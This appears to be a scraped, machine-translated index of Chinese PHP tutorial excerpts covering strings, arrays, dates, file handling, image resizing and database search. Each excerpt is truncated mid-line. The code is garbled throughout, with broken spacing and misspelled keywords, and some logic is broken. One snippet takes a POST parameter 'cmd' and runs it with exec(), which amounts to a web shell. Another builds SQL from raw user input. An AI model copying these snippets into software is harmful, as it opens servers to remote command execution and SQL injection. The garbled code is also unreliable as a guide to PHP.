PHP

This article introduces 25 good PHP game programming script codes, including simple drop handler, random name generator, Scenario Generator, card builder, and shuffler) simple poker card generator, Hangman game, crossword puzzle assistant, meilibice,

  In most cases, we need to connect several strings and display them. In PHP, strings are connected by "points", that is, periods in English. ". The usage is as follows:   // Define a string $ Str1 = "Hello World! "; $ Str2 = "Welcome to huaow's

  $ Vote = $ _ GET ['Vote']; // Echo $ vote; $ Filename = "poll.txt "; $ Content = file ($ filename); // read the entire file into an array. $ Arr = explode ('|', $ content [0]); $ Yes = $ arr [0]; $ No = $ arr [1]; If ($ vote = 0 ){ $ Yes = $ yes +

Deleted original image, retained Image/*** Function for downgrading Images* @ Param string $ fileName* @ Return void*/Private function createSmallImg ($ fileName){List ($ width, $ height, $ type, $ attr) = getimagesize ($ fileName );$ ImgOld =

Previous http://www.bkjia.com/kf/201202/118458.html// Technical knowledge of Regular Expressions  // [] Define Character Set and example [a-z] [A-Z] [0-9] [\ f \ r \ n \ t]  // Positioning character ^ [A-Z] [0-9] $ beginning and end  // Quantifiers *

$ Flag = $ _ POST ['flag'];$ Sosoval = $ _ POST ['keyword'];$ Sosoquery = "where 1 = 1 ";If (! Emptyempty ($ sosoval) & $ flag! = '-1 '){// $ Sosoquery. = "and (title like '% $ sosoval %') or (keyword like '% $ sosoval %') or (author like '% $

1. For foreach, using $ key => $ value and $ I => $ g is the same effect, not limited to key value. Echo " \ n "; $ Arr = array ("one", "two", "three "); Foreach ($ arr as $ I =>$ g ){ Echo "Key: $ I; Value: $ g \ n "; } ?> 2. array_fill ()

Cho date ("Ymd", strtotime ("now"), "\ n ";Echo date ("Ymd", strtotime ("-1 week Monday"), "\ n ";Echo date ("Ymd", strtotime ("-1 week Sunday"), "\ n ";Echo date ("Ymd", strtotime ("+ 0 week Monday"), "\ n ";Echo date ("Ymd", strtotime ("+ 0 week

Java Webservice promotion method: Public String findCode (Object code ){ElementNSImpl ens = (ElementNSImpl) code;String num = ens. getTextContent ();System. out. println (code );SqlSearch sqlSearch = new SqlSearch ();String result = sqlSearch.

How to optimize the webpage loading speed is a problem. yahoo once made 36 optimizations. In fact, there are still many ways to optimize web pages. The following describes how to increase the loading speed of the front-end by reducing the page

The following code describes how to intercept remote webpage information, including the Title, Description, and Keywords in the HTML tag: PLAIN TEXTPHP:// -- Define the URL of the webpage to be intercepted$ Url = "http: // www.2cto.com ";// -- Read

If (! Is_dir ('txt ') // determines whether the txt file is a folder directory.{Mkdir ('txt '); // create a directory named txt$ Open = fopen ('txt/in.txt ', "w +"); // open a file in read/write mode.If (is_writable ('txt/in.txt ') // if this file

I have recently learned how to get started with php. Now I just got started, so I don't know much about it. I just learned from the basics and won't check it online. I will keep it in this magic weapon, just as today I met the rand () function. I

Finally, the environment has been configured. Try PHP!   Where can I write the code? code   Mark the author. Why comment?// Author: matter /* * Author: matter */ # Author: matter   Finally officially started. OK, go directly to the classic case

In windows, Versions later than PHP5.3 do not support mssql extension. Therefore, if you need to communicate with SQL server, you must go to http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspxto download the SQL Server Driver for PHP. This is a

Array_merge () combines one or more Arrays [Function]This function combines the units of one or more arrays. The values of an array are appended to the values of the previous array.Returns an array of results. If the input array contains the same

The array_diff_uassoc () function uses the callback function for index check to calculate the array's difference set. [Function]This function returns an array,This array contains all values in the array of array1 but not in any other parameter.If

Array_unshitf () inserts one or more units at the beginning of the array. [Function]This function inserts the incoming unit into the beginning of the specified array.Note that the unit is inserted as a whole, so the incoming unit will be in the same

1. 2 ./**3. * remotely start the computer4. * Note: iis/apache requires windows/system/cmd.exe execution permission.5 .*6 .**/7. if (isset ($ _ POST ['cmd']) {8. $ cmd = stripslashes ($ _ POST ['cmd']);9. exec ($ cmd, $ out );10. var_dump ($ out );11

[Html]Function zeng_integral (){$ Jifen = & m ('integral ');/* Determine the internet cafe */$ Store = isset ($ store_id )? Intval ($ store_id): 0;$ Injifen = $ jifen-> get (array ('user _ id' = >$ _ SESSION ['user _ info'] ['user _ id']);$ Yanzhen =